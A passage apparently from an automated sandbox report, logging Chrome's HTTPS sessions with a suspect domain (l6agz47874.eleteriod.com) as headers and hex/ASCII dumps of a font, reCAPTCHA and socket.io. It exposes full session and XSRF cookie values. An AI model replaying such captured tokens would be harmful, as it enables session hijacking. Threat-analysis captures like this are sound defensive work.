85 fa c1 28 c6 66 00 ca 63 ca bc Data Ascii: P<(\|$Gl!h]/_w4~{DMx\:8Pa$2@Q\|(7*"8%$^ bg, [#}fK{\|G2+Wx?u3O~Et_uu7pdmZGQdsIKspvU3(\|vj":QAmfp+gmA(fc
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: c7 5d 85 d2 70 9a c3 c8 aa a2 8d 93 28 3e 95 5a 45 fe 3b 50 6b d7 92 2d d1 31 ee 01 1e f7 fd 6c 1b 51 87 4b ea eb 87 6c 21 42 79 43 c0 d4 a8 cc 34 85 6a 30 de 96 9e 0c 5c fd 20 68 c8 d6 71 1a f2 85 27 6e 36 04 64 45 65 36 a5 c8 54 24 fc da 02 f3 0d a4 20 f2 45 91 28 cb 66 06 9e 52 63 06 ac 77 62 1a 49 f2 56 e3 10 c0 f0 d3 12 cb 30 24 48 1b e9 17 a9 05 db d3 8d 58 e0 8e 3e b8 d6 68 31 63 c5 0f 27 83 fe d3 f1 be f8 92 25 63 de 38 ee 13 1e 72 f4 c8 99 c5 97 ec 3f 12 bd 72 61 f7 25 61 c3 ff 0f f0 03 ed c7 df 47 7d c1 40 82 9f 1b f0 21 08 78 ce 1d bc 51 90 65 2a de 5d 25 79 a5 6a 4c f5 55 60 80 de 5f e7 27 69 2b ad af a7 3a 1c 3c 18 bd c1 62 d6 9b f5 46 d1 45 25 28 ea 40 6b 5e 22 ae ea e0 20 71 56 e1 2f d3 6f 7f 90 df f9 e9 a7 9f 1e bd 7b 87 f8 ac 9c ea a8 f0 Data Ascii: ]p(>ZE;Pk-1lQKl!ByC4j0\ hq'n6dEe6T$ E(fRcwbIV0$HX>h1c'%c8r?ra%aG}@!xQe*]%yjLU`_'i+:<bFE%(@k^" qV/o{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.17	59887	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:05 UTC	1407	OUT	GET /56RriKccTQyAhplO4d67VmBjviYuv59 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://l6agz47874.eleteriod.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:08 UTC	624	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:08 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="56RriKccTQyAhplO4d67VmBjviYuv59" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dqngARezqyaBGugODmFjm0YuHn7OSJgNhCHV6DaNprX84TkQzuRFtsPD41jgHPVvAg4tt8GoATMpaWKnt1olnY1HdwYL%2B2FiUEU6E6pewRMA1jHtabAoSbjZM%2FEwjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb71c1d560c8a-EWR
2024-05-22 18:02:08 UTC	745	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD5#hH2\|<1z]xZzzW
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 0b 20 00 9e 7f f7 d3 db e4 35 29 e5 97 60 00 e0 77 26 a7 ec 8c 51 bd 04 a5 aa 2d c9 13 20 11 06 0d 39 e4 58 74 9e 2f 53 51 3f 14 73 2b 75 0c 39 ee 1f 5c b1 68 d4 6c b0 47 cb 23 fc 2a a7 d5 23 40 83 46 d2 88 c9 66 c5 31 84 66 01 9d 3d 60 1f f0 e3 f1 70 ca 0b 01 a0 c2 94 3d 63 f0 be d9 92 66 3d 9c eb 70 20 34 42 79 0e 75 ff 7a 27 cb 0f ee 24 3b 04 73 b6 a4 dd 16 db 7a d0 f6 e3 e3 12 58 be c5 6e 36 79 2d e0 06 b4 05 18 a1 7f b4 fd cf 8a 12 3c cd 09 17 b1 bb 1d be 58 9e 81 7f 85 04 cd 7e 2b 6a 8a 7a bb 6a b2 f8 ff ee f7 db c0 37 f0 50 44 93 b8 4f 10 d5 77 d1 fa 39 9d 90 38 5d 13 21 7e 43 26 98 18 b4 cd d0 fb 13 2a 4c 43 45 d3 dc 4e 66 7e af 4e 9f 65 4a fa 69 58 6e 58 2a 43 81 26 e6 f5 bf 8b 74 b6 55 83 fc 4e 72 d2 40 91 b6 6c 5a b0 80 a7 03 20 d9 8f 58 b9 a2 Data Ascii: 5)`w&Q- 9Xt/SQ?s+u9\hlG##@Ff1f=`p=cf=p 4Byuz'$;szXn6y-<X~+jzj7PDOw98]!~C&LCENf~NeJiXnX*C&tUNr@lZ X
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 4d be ef 69 9d 44 eb 95 0e 88 ec 30 d0 66 50 36 51 17 59 8c ca 45 0b 23 fa 81 55 bc 59 5f 55 fe a0 40 a1 20 35 57 9b d4 3c b9 b3 29 ed a7 16 d3 13 45 0b c5 4c 25 f1 30 23 97 d9 4e bd 28 ab 1d d0 c2 14 6f c9 61 f9 56 40 1e 2b aa 69 29 e1 5a 15 f9 c1 0e 10 e8 40 d0 3a 0c 29 8c a9 39 12 e8 b0 01 e8 f6 ee 52 ab d2 f0 06 94 a4 e3 89 30 00 08 57 44 ed a2 83 bc a0 e0 07 54 5b 4d 54 db a3 29 51 e2 43 bf 56 c9 5a 96 e8 1f 92 c0 20 b0 78 90 51 a2 3c 19 06 e5 c4 18 b4 51 95 16 6c ec cd a6 0b e6 b6 d1 db 00 56 0c 1e a0 cb a0 80 03 02 ba eb e2 92 60 fa 62 ea 87 59 4d 58 29 3a 30 36 0c 02 ce fb 12 0a 67 57 cf 6d 7c f0 81 96 93 88 02 ba ef 92 55 dd 8c f9 fa 69 f2 71 0c 59 37 73 08 39 5d ce e5 85 bb 59 16 bd 18 b4 30 75 01 f3 09 a6 26 0f af 55 73 55 f9 8b 2d cb f9 49 0a Data Ascii: MiD0fP6QYE#UY_U@ 5W<)EL%0#N(oaV@+i)Z@:)9R0WDT[MT)QCVZ xQ<QlV`bYMX):06gWm\|UiqY7s9]Y0u&UsU-I
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 3b c2 fb bf fc 8c 82 bb fa 9b 75 db a1 66 75 c9 75 d3 64 f1 8c aa ea bf de f8 8f 20 f3 86 3a ba e8 43 54 6a 8a 28 69 af 3c e6 ea b6 b2 5d 1b f8 18 09 92 64 e8 bd 0a 1d e0 d3 ba bc 10 cc cb 06 57 5c 77 bd a9 1a 44 81 23 b1 00 73 e8 10 9d bc f0 cc 39 be 92 1c 86 29 96 14 29 84 bf f5 e6 98 7e 7c d5 7f bf fc c3 77 d3 3c 9d cf ff 57 80 cf 97 9a d9 60 5e bd 00 ef d9 ff 57 bb 7c 10 17 61 91 5f e2 e0 bf 67 17 38 6d 72 f7 c0 87 b9 c7 2b b1 0e 4b b1 bd 52 1c c4 78 e7 87 af ff f6 09 93 1e 60 d4 16 c7 bd 7b 90 2e ac c4 27 6b 93 0d 57 9e 7c 28 0f 5c f9 c6 1c d3 b8 97 5b 0f 28 3e 06 4b ae 4a 42 c2 63 6d 65 b3 87 f4 02 73 e9 ec 31 94 dd 4d 35 43 9e 82 ef 1a 19 ca 1a de 11 5a 06 1e 1c 66 50 e3 92 33 b2 78 9f 06 fa de d0 77 b9 e5 f7 d4 e5 a7 d9 89 be 67 54 d4 43 9f 16 46 Data Ascii: ;ufuud :CTj(i<]dW\wD#s9))~\|w<W`^W\|a_g8mr+KRx`{.'kW\|(\[(>KJBcmes1M5CZfP3xwgTCF
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 0c 09 37 5f 5d ca 6d 2a c2 93 2c 7c e1 4f 0a f5 78 68 ed f3 95 63 92 85 c2 64 da 80 92 57 22 90 60 5c e2 76 78 80 a3 e7 17 e6 65 84 d8 68 fc 45 39 36 9d b6 bd 10 a7 d5 3c 40 98 a4 95 3d 2f 5c b2 3e 4f 05 c0 c6 03 43 4f 91 c1 b6 2a 1c ab 73 0f 48 30 21 8e 1a d3 24 e5 69 1b 45 37 55 e3 c4 1b 70 81 70 c6 8e c3 c7 15 fd d0 6a 42 d4 1a 9b 2c 71 78 1c 68 90 8e 66 52 12 59 39 ec 05 60 4b 10 46 0a d3 3b 4f 93 e9 9c 42 34 fe 5a 4c 23 c9 da 61 da ca b0 2e 42 bf ba 4e 43 ee 7b a5 b6 cd 10 a9 9e d6 76 c2 da 8c 75 0b 16 88 a2 6a f6 21 ff 46 59 15 b1 d8 a4 ae 93 c7 8f 9e 79 f0 b8 5e 0d 87 be b3 43 8a 3b 87 21 5b ce a4 5d 92 b7 f9 a1 38 f5 96 d0 8b c3 0e d8 3d be 24 30 f0 11 92 c4 5c c9 d4 f5 38 62 51 c4 09 ab 9c ee 74 c2 1d 9d 3f 80 6f 2b ee d5 47 d6 5b 60 91 6e 70 0d Data Ascii: 7_]m,\|OxhcdW"`\vxehE96<@=/\>OCOsH0!$iE7UppjB,qxhfRY9`KF;OB4ZL#a.BNC{vuj!FYy^C;![]8=$0\8bQt?o+G[`np
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 2a 13 91 05 2e 44 bf ef c7 df 5e 30 2e a5 1f cd 43 40 1e 70 cc f3 0a 36 82 72 f9 89 38 79 b0 a5 24 70 54 fe 74 60 c5 01 22 5e b9 e6 19 a1 43 02 57 17 2b 13 89 c3 3d af 86 3d 5b 59 ec d0 9d 86 23 f9 67 f1 fb 3a 58 07 48 c6 63 87 75 a2 a8 0c 94 5b bc 1e 8e 82 53 19 0c 24 da 49 3c 17 4c 27 29 d9 9d 80 57 5a ab 4f 76 b1 d5 d5 66 d6 cd 0b 43 de c4 07 9d fb 6a 3d 35 5d 05 18 4d fc cf f3 d5 52 8a 37 07 16 7b c0 bd 19 bc 8f 5b ba 06 00 c5 83 23 de f6 d2 01 41 b8 02 01 50 23 69 24 5c 1c ef 34 bf 27 04 01 13 5c 88 a0 4a 93 f8 12 79 bb a9 68 e7 2f 4d 81 05 1e 94 a0 46 8b ee 74 70 0e c0 c0 06 bf 4a a1 4d 9b de 6d 3c 06 38 10 40 08 15 1a b4 ec f1 81 bb 5f 18 f6 cc 77 10 ea 8d 43 df 85 0f fd 36 f8 e2 04 f8 bf 37 77 9c 81 9f e8 12 4f 3f 5c fa 4a 33 6a 34 14 cd b7 3d 06 Data Ascii: *.D^0.C@p6r8y$pTt`"^CW+==[Y#g:XHcu[S$I<L')WZOvfCj=5]MR7{[#AP#i$\4'\Jyh/MFtpJMm<8@_wC67wO?\J3j4=
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: b5 46 e9 89 d1 1b ab 7b 8a be a9 a2 c5 b8 43 ea 57 b3 bc 10 37 82 25 84 7d 6c eb e6 e6 16 e5 cc a2 be 5d 7f 9c 81 78 43 89 26 d3 24 7b 66 a6 e7 a6 78 6a 9a 55 d3 3d 36 c3 13 cb bc b7 a6 03 56 fb 2f cd 7d 12 13 c0 38 5c 55 a0 e1 24 e3 29 0d 8d ab 57 ae 5a f3 da 99 73 6a ff 83 13 79 f9 de ad a4 cd b6 da 6b 75 de 3c 4e 5d ab ad 29 8e bd e8 f4 90 28 0f 5f 6c f3 f3 71 f4 b1 c7 9f 78 f2 a9 a7 9f e1 41 ca f5 83 8e 3b ef 36 73 5a b5 d9 a6 5d 87 4e 5d ba f5 da 6e 87 9d 76 d9 6d 8f bd fa ed 33 f0 8a 1f 7c f0 73 cd 61 47 f8 86 14 f4 d9 05 4a 43 a1 a2 d7 e1 81 fb 1e 7a e2 b1 e7 3e fb e6 2b 1b 30 fb 13 00 f8 c0 06 e0 02 9b 00 1e f7 07 3f 94 ea cb 9c fd 8a 07 b7 5f 72 79 43 e1 99 99 f9 af 64 20 e2 d5 4f f8 1a 9f 0f 45 87 ab 6f b8 e5 b6 3b 6e 6a 3e 07 38 ea e2 92 3d 6f Data Ascii: F{CW7%}l]xC&${fxjU=6V/}8\U$)WZsjyku<N])(_lqxA;6sZ]N]nvm3\|saGJCz>+0?_ryCd OEo;nj>8=o
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 34 0b 2d ab af a9 57 67 f7 51 bd 61 37 69 bc 69 4b 76 78 bf 58 39 1e 64 1d 8e 2d 52 6f f1 43 6b ea a6 58 f8 13 68 45 70 b2 db 5a 4d d1 66 ac 0c bc b8 74 db ad f6 4c df 84 10 7c 9b 9c ea 48 0d 9c 0e 4c d5 de a5 81 a8 4e 91 7e be 3d c8 de d1 df a1 59 98 3a 2d 47 0e ae f9 33 c0 16 17 db ed 6f c8 04 34 b3 31 0a 82 b1 49 41 13 32 21 98 26 40 6b 46 10 cc 4d d0 02 82 65 02 75 ad 08 82 b5 09 da 40 b0 4d 80 d2 8e 20 d8 9b a0 03 04 c7 04 5a 3a 11 04 67 13 74 81 e0 9a 40 43 37 82 e0 6e 82 1e 90 ef 09 85 af e3 7e 79 b3 a8 3c 1f af a3 ea b7 59 3a 65 d4 f0 e9 2e 26 f6 67 88 bf 3c 17 fe 4a 7d 86 6f b3 d4 df 1f 89 7f d8 c2 3f 29 f0 6b 96 fb f7 23 f1 1f 5b f8 2f 05 29 b5 c1 3b 3f f9 d3 9d 6f 74 4d 92 6e c1 9b 60 e7 5b 3f ce 93 de be b6 0e 52 ab 33 bf 5e c8 c7 d5 43 95 3d Data Ascii: 4-WgQa7iiKvxX9d-RoCkXhEpZMftL\|HLN~=Y:-G3o41IA2!&@kFMeu@M Z:gt@C7n~y<Y:e.&g<J}o?)k#[/);?otMn`[?R3^C=
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 9e c9 86 8a fb 19 1b 9a 4e 20 d9 ad ef 8f d4 83 74 ce bb a7 2e 77 88 ac c3 8d 0f b2 51 bb 08 c0 b8 d9 ad 54 c6 3f f5 45 b6 35 f7 cb 1c cb 38 c1 a2 9a 9b bb 68 e1 2e a8 d4 0d b2 c4 ad c9 e2 ab a1 8d df 65 cf 1b 09 af e5 6d 50 2f b2 bc d5 91 41 8b 0c 3c 2c db 32 2a a4 e0 28 ad 42 06 2b ca c1 98 40 6d ea 72 b4 be d5 41 a6 7d 2b 6b 37 24 85 3a 61 fd 7c 04 75 c4 5f a6 e5 5d 66 a6 df a4 f5 e8 28 89 3d ab 0b 0c 6c b4 d2 a8 77 7e 3e 40 5f 74 8d 57 30 00 c5 e8 bd 8c fd d4 dc ad 43 5d 93 64 52 3e 47 47 5e f4 3b 0c 17 af f2 bd 11 03 7d e5 8b 1d 0d ae ad 1d c8 4c ce ae 60 97 20 5d 60 73 e9 4d 28 9e fa 17 4a 14 06 9a f3 51 58 d3 87 f7 f0 6a a7 e7 02 f1 7c a6 6b c0 5a 9c a6 71 a7 6d 77 5c a5 e4 ea 23 ea 5a 6c 9c d5 7a 09 7f 9a b1 87 11 03 90 28 34 e5 6a cc db 32 a1 cc Data Ascii: N t.wQT?E58h.emP/A<,2*(B+@mrA}+k7$:a\|u_]f(=lw~>@_tW0C]dR>GG^;}L` ]`sM(JQXj\|kZqmw\#Zlz(4j2
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: e8 b0 43 69 8b 41 c0 80 54 b8 1b 3b bc 73 32 24 3c dc a9 94 c8 fd c4 62 cb 69 1a e0 6f 82 ae 79 55 71 5b e8 20 f7 e1 10 fc 2e 89 29 19 ad 45 f6 10 16 12 7c 7b a9 ae e7 89 03 39 7c 32 4f 25 b8 b1 a6 79 4b 84 ec 81 38 13 20 4f dd db 92 0a 82 ab 02 5f f7 76 1d b5 70 ff 5a 4b 61 e9 9a f0 b4 c9 a7 65 19 99 eb d2 ff cc 5a 1d d5 ad 3d a9 dc d7 3f d7 04 87 47 ae d8 83 2a ec 4b 7a 32 cf 40 de 17 24 b5 27 3d fc 70 e1 7d f8 26 a9 fd b4 70 3c ba 84 97 64 67 4b 73 47 73 22 75 e1 a6 a3 95 79 c9 7d 3a f9 6e a4 ea 9e bf 47 78 1c db ef 7d 70 0e 4a d9 66 b0 6f fb 0a db de d6 5b 5f a7 6d 6d aa e6 3b 4c 81 04 ba 0d be 91 ce 1f e7 b8 cc ce 72 36 ce 9f f8 4b 3e f6 63 d0 39 da 99 e1 24 58 ef ad ce 1d 15 87 68 95 9d 29 d7 2d 75 09 b7 74 bd 2b 99 86 a9 ef 3b 52 06 06 93 98 67 80 Data Ascii: CiAT;s2$<bioyUq[ .)E\|{9\|2O%yK8 O_vpZKaeZ=?G*Kz2@$'=p}&p<dgKsGs"uy}:nGx}pJfo[_mm;Lr6K>c9$Xh)-ut+;Rg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	59892	216.58.212.164	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:06 UTC	635	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://l6agz47874.eleteriod.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:02:06 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Wed, 22 May 2024 18:02:06 GMT Date: Wed, 22 May 2024 18:02:06 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-22 18:02:06 UTC	862	IN	Data Raw: 35 38 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 586/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-05-22 18:02:06 UTC	559	IN	Data Raw: 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 2e 67 65 74 56 61 6c 75 65 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 69 66 28 6c 21 3d 3d 27 74 72 65 61 74 6d 65 6e 74 5f 31 2e 31 27 26 26 6c 21 3d 3d 27 74 72 65 61 74 6d 65 6e 74 5f 31 2e 32 27 26 26 6c 21 3d 3d 27 63 6f 6e 74 72 6f 6c 5f 31 2e 31 27 29 7b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 7d 7d 29 3b 7d 65 6c 73 65 7b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 7d 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 6a 6f 48 41 36 30 4d 65 4d 45 2d 50 4e 76 69 4c 35 39 78 56 48 39 7a 73 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 Data Ascii: recationLabel.getValue().then(function(l){if(l!=='treatment_1.1'&&l!=='treatment_1.2'&&l!=='control_1.1'){d.head.prepend(m);}});}else{d.head.prepend(m);}po.src='https://www.gstatic.com/recaptcha/releases/joHA60MeME-PNviL59xVH9zs/recaptcha__en.js';po.cross
2024-05-22 18:02:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	59891	13.227.219.47	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:06 UTC	543	OUT	GET /4.6.0/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://l6agz47874.eleteriod.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:02:06 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 45806 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Tue, 16 Apr 2024 12:40:01 GMT ETag: "80f5b8c6a9eeac15de93e5a112036a06" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::vz9z2-1713271201165-3be2b8c00140 X-Cache: Hit from cloudfront Via: 1.1 b911c551065b8f78ad33b4c4564141be.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS54-C1 X-Amz-Cf-Id: d215dAFbUFfJMf98ZWNWggbDEJxap3S3EsDiW6Yyt598YXXxPnsEaQ== Age: 3129725
2024-05-22 18:02:06 UTC	15682	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 36 2e 30 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 33 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 65 29 3a 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.6.0 * (c) 2014-2023 Guillermo Rauch * Released under the MIT License. */!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof g
2024-05-22 18:02:06 UTC	16384	IN	Data Raw: 72 69 67 69 6e 22 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 2c 22 66 61 6d 69 6c 79 22 2c 22 63 68 65 63 6b 53 65 72 76 65 72 49 64 65 6e 74 69 74 79 22 29 3b 74 68 69 73 2e 6f 70 74 73 2e 65 78 74 72 61 48 65 61 64 65 72 73 26 26 28 6e 2e 68 65 61 64 65 72 73 3d 74 68 69 73 2e 6f 70 74 73 2e 65 78 74 72 61 48 65 61 64 65 72 73 29 3b 74 72 79 7b 74 68 69 73 2e 77 73 3d 73 74 3f 6e 65 77 20 6f 74 28 74 2c 65 2c 6e 29 3a 65 3f 6e 65 77 20 6f 74 28 74 2c 65 29 3a 6e 65 77 20 6f 74 28 74 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 65 72 72 6f 72 22 2c 74 29 7d 74 68 69 73 2e 77 73 2e 62 69 6e 61 72 79 54 79 70 65 3d 74 68 69 73 2e 73 6f 63 6b 65 74 2e 62 69 6e 61 72 79 54 79 70 65 7c 7c 22 61 72 Data Ascii: rigin","maxPayload","family","checkServerIdentity");this.opts.extraHeaders&&(n.headers=this.opts.extraHeaders);try{this.ws=st?new ot(t,e,n):e?new ot(t,e):new ot(t)}catch(t){return this.emitReserved("error",t)}this.ws.binaryType=this.socket.binaryType\|\|"ar
